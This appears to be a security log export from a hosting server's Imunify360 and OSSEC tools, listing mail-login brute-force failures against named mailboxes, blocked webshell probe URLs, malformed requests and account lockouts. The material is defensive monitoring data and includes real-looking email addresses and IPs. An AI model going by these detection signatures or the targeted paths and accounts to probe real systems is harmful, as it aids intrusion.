# incident

plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.111
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/img/photos/img/photos/awards.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.232.30.170
country_id: 3144096
description:
2026-02-02 04:27:04 dovecot_login authenticator failed for H=(cm-178.232.30.170.get.no) [178.232.30.170]:34547: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.254.244.211
country_id: 798544
description:
2026-02-02 04:28:52 dovecot_plain authenticator failed for H=(farcul) [94.254.244.211]:39998: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 04:28:31 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:44730: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 04:28:22 dovecot_login authenticator failed for H=(FA2hJ2qDkM) [178.16.52.139]:61225: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 04:28:06 dovecot_login authenticator failed for H=(L86gsZXi) [158.94.208.175]:64655: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/images/awards.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 04:28:03 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:57511: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.196.144.25
country_id: 6252001
description:
2026-02-02 04:28:43 dovecot_plain authenticator failed for H=c-73-196-144-25.hsd1.nj.comcast.net (epatulenes) [73.196.144.25]:43768: 535 Incorrect authentication data (set_id=sylviagooi@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-02 04:28:35 dovecot_login authenticator failed for H=(tdzhJlU) [141.98.11.11]:52325: 535 Incorrect authentication data (set_id=nmusa.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 04:29:07 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:51100: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-02 04:29:14 dovecot_login authenticator failed for H=(WmfnTd) [141.98.11.11]:51223: 535 Incorrect authentication data (set_id=nmusa.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 04:29:36 dovecot_login authenticator failed for H=(Adpqc4d) [158.94.208.175]:65531: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.231.180.124
country_id: 1562822
domain: www.snymetalstamping.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.snymetalstamping.com/contect.php HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 04:29:13 dovecot_login authenticator failed for H=(CjVjsUJQ) [178.16.52.139]:60661: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/images/contact.php||SC:/home/indfinitydesign/public_html/images/contact.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 04:30:30 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:57070: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 04:30:11 dovecot_login authenticator failed for H=(WFKSqlZ) [158.94.208.175]:57260: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.184
country_id: 2750405
description:
2026-02-02  4:30:15 259025 [Warning] Aborted connection 259025 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.184' (This connection closed normally without authentication)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 222.254.180.52
country_id: 1562822
domain: www.snymetalstamping.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.snymetalstamping.com/index.php HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 04:30:42 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:56940: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 04:30:37 dovecot_login authenticator failed for H=(YPCXGH) [178.16.54.138]:57413: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 04:30:46 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account myloo@euratech.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-02 04:30:18 dovecot_login authenticator failed for H=(DUf7S3zxyW) [141.98.11.11]:57445: 535 Incorrect authentication data (set_id=nmusa.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 04:30:20 dovecot_login authenticator failed for H=(779BGxqif) [178.16.52.139]:51072: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 04:31:22 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:50110: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/keyword/img/index.php||SC:/home/indfinitydesign/public_html/keyword||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.45.101.159
country_id: 1835841
description:
2026-02-02 04:31:51 dovecot_login authenticator failed for H=([118.45.101.159]) [118.45.101.159]:44102: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 04:31:22 dovecot_login authenticator failed for H=(dANHqpTMb) [158.94.208.175]:57698: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 04:31:34 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account myloo@euratech.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-02 04:31:18 dovecot_login authenticator failed for H=(AxmJ40j0IM) [141.98.11.11]:61097: 535 Incorrect authentication data (set_id=nmusa.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 04:31:36 dovecot_login authenticator failed for H=(SrDytmSZLF) [178.16.52.139]:57805: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 04:32:09 dovecot_login authenticator failed for H=(1yxVOg) [178.16.52.139]:64647: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 04:32:52 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:43364: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.52.166.93
country_id: 1819730
description:
2026-02-02 04:32:55 dovecot_login authenticator failed for H=(ADMIN) [47.52.166.93]:43808: 535 Incorrect authentication data (set_id=jaya@dsc-expat.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.61.242.47
country_id: 953987
domain: www.snymetalstamping.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.snymetalstamping.com/swepusa.php HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 04:32:07 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account myloo@euratech.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 04:32:12 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:59553: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 04:32:27 dovecot_login authenticator failed for H=(tzkTlm) [178.16.54.138]:56857: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.150.135.19
country_id: 690791
description:
2026-02-02 04:32:36 dovecot_login authenticator failed for H=(19.135.150.178.triolan.net) [178.150.135.19]:44802: 535 Incorrect authentication data (set_id=admin@essemgroup.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.34
country_id: 1880251
domain: indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/keyword/img/contact.php||SC:/home/indfinitydesign/public_html/keyword||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.187
country_id: 1269750
description:
2026-02-02 04:32:13 dovecot_login authenticator failed for H=(nsg-corporate-187.230.187.122.airtel.in) [122.187.230.187]:41060: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 04:32:23 dovecot_login authenticator failed for H=(CdIycGdC) [158.94.208.175]:62607: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-02 04:32:21 dovecot_login authenticator failed for H=(1St41V2) [141.98.11.11]:63257: 535 Incorrect authentication data (set_id=nmusa.vpb@vc-b.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.26.68.44
country_id: 3469034
domain: www.snymetalstamping.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.snymetalstamping.com/cart.php HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.66.214.34
country_id: 1269750
description:
2026-02-02 04:32:55 dovecot_login authenticator failed for H=(nsg-corporate-78.223.187.122.airtel.in) [182.66.214.34]:37396: 535 Incorrect authentication data (set_id=admin@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 04:33:18 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:60482: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.167.93.33
country_id: 3996063
domain: www.snymetalstamping.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.snymetalstamping.com/about_us.php HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 04:33:08 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account myloo@euratech.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 04:33:10 dovecot_login authenticator failed for H=(fHeto3) [178.16.52.139]:53853: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 04:33:31 dovecot_login authenticator failed for H=(BKHisJO5CG) [158.94.208.175]:55661: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.156.2.229
country_id: 1835841
description:
2026-02-02 04:33:02 dovecot_login authenticator failed for H=([218.156.2.230]) [218.156.2.229]:33545: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 34.27.42.6
country_id: 6252001
description:
[2026-02-02 04:33:30 +0800] info [cpaneld] 34.27.42.6 - agpc "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user agpc (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.249.59.2
country_id: 1562822
domain: www.snymetalstamping.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.snymetalstamping.com/single-service.html HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.13.152.147
country_id: 1814991
description:
2026-02-02 04:34:16 dovecot_login authenticator failed for H=([127.0.0.1]) [27.13.152.147]:53365: 535 Incorrect authentication data (set_id=biogrease199@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 04:34:05 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:53170: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.185.220.43
country_id: 3469034
domain: www.snymetalstamping.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.snymetalstamping.com/product-category.php?id=5 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 04:35:00 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:54146: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.186.15.32
country_id: 1562822
domain: www.snymetalstamping.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.snymetalstamping.com/commoditypictures.php HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.45.67.76
country_id: 2921044
description:
2026-02-02 04:34:22 dovecot_login authenticator failed for H=p5b2d434c.dip0.t-ipconnect.de ([127.0.0.1]) [91.45.67.76]:34784: 535 Incorrect authentication data (set_id=biogrease199)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 04:34:04 dovecot_login authenticator failed for H=(lAyjSavzt) [158.94.208.175]:58757: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 04:34:26 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account myloo@euratech.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 04:34:28 dovecot_login authenticator failed for H=(sUWLCI10) [178.16.52.139]:64742: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 04:34:03 dovecot_login authenticator failed for H=(ZG8Kb9s6) [178.16.54.138]:59613: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 04:35:05 dovecot_login authenticator failed for H=(0t7CoY4) [158.94.208.175]:60276: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 04:35:26 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:53095: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 04:35:28 dovecot_login authenticator failed for H=(FRmwUBk) [178.16.52.139]:61742: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.184
country_id: 2750405
description:
2026-02-02  4:36:01 259519 [Warning] Aborted connection 259519 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.184' (This connection closed normally without authentication)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.168.247.153
country_id: 1562822
domain: www.snymetalstamping.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.snymetalstamping.com/checkout.php HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.72.153.110
country_id: 290557
description:
2026-02-02 04:36:35 dovecot_plain authenticator failed for H=(rollebus) [91.72.153.110]:53115: 535 Incorrect authentication data (set_id=achigold@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 04:36:17 dovecot_login authenticator failed for H=(bIjRreIy) [178.16.52.139]:53398: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 04:36:17 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:62513: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 04:36:17 dovecot_login authenticator failed for H=(QraCY3p2q) [158.94.208.175]:62274: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 51.75.254.157
country_id: 3017382
description:
[2026-02-02 04:36:10 +0800] info [cpaneld] 51.75.254.157 - agpc "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user agpc (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 04:37:20 dovecot_login authenticator failed for H=(mwGSUsB) [158.94.208.175]:57547: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 04:37:02 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:55435: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 04:37:08 dovecot_login authenticator failed for H=(1EHIMkm9CM) [178.16.54.138]:55772: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.183.234.211
country_id: 1562822
domain: www.snymetalstamping.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.snymetalstamping.com/firstswizerland.php HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 04:37:18 dovecot_login authenticator failed for H=(hiB3A0) [178.16.52.139]:51720: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.186.139.32
country_id: 1562822
domain: www.snymetalstamping.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.snymetalstamping.com/news.php HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-02 04:37:37 dovecot_login authenticator failed for H=(oFVKtwq) [141.98.11.11]:60984: 535 Incorrect authentication data (set_id=nmusa.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 04:37:11 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:35300: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 95.135.92.229
country_id: 1643084
description:
[2026-02-02 04:37:17 +0800] info [cpaneld] 95.135.92.229 - nexus2019 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 04:38:14 dovecot_login authenticator failed for H=(cZL5c7We) [178.16.52.139]:64253: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-02 04:38:23 dovecot_login authenticator failed for H=(0MJLygJi) [141.98.11.11]:51363: 535 Incorrect authentication data (set_id=nmusa.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.117.0.253
country_id: 1835841
description:
2026-02-02 04:38:29 dovecot_login authenticator failed for H=([222.117.0.253]) [222.117.0.253]:36046: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 04:38:10 dovecot_login authenticator failed for H=(8Fepp9WLQ) [178.16.54.138]:63219: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 04:38:11 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:63777: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 04:38:29 dovecot_login authenticator failed for H=(hR6JE9N) [158.94.208.175]:56606: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.236.122
country_id: 1269750
description:
2026-02-02 04:38:41 dovecot_login authenticator failed for H=([152.52.236.122]) [152.52.236.122]:58450: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.206.93.90
country_id: 290557
description:
2026-02-02 04:39:01 dovecot_login authenticator failed for H=([94.206.93.90]) [94.206.93.90]:50432: 535 Incorrect authentication data (set_id=admin@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 04:39:08 dovecot_login authenticator failed for H=(gmPHRRxB1) [178.16.54.138]:56722: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 04:39:31 dovecot_login authenticator failed for H=(l5eYj3) [158.94.208.175]:60936: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-02 04:39:31 dovecot_login authenticator failed for H=(uybBWW) [141.98.11.11]:61147: 535 Incorrect authentication data (set_id=nmusa.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.228.113.27
country_id: 1835841
description:
2026-02-02 04:39:25 dovecot_login authenticator failed for H=([211.228.113.27]) [211.228.113.27]:52428: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 04:39:07 dovecot_login authenticator failed for H=(MkqPL7) [178.16.52.139]:49529: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 04:39:27 dovecot_login authenticator failed for H=(UiRbVMK) [165.154.217.204]:65385: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 04:39:20 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:36180: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 04:39:36 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:57544: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 04:40:06 dovecot_login authenticator failed for H=(Fbcbqh) [165.154.217.204]:53271: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-02 04:40:13 dovecot_login authenticator failed for H=(uTGCJcqkh) [141.98.11.11]:62182: 535 Incorrect authentication data (set_id=nmusa.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 04:40:25 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:50722: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 04:40:25 dovecot_login authenticator failed for H=(iefGL8MMFW) [178.16.52.139]:63496: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 04:40:06 dovecot_login authenticator failed for H=(tVNxFNYcw) [158.94.208.175]:63577: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 04:41:08 dovecot_login authenticator failed for H=(gOnjsa) [178.16.54.138]:56484: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 04:41:08 dovecot_login authenticator failed for H=(4wvnQUSUi) [158.94.208.175]:53909: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.56
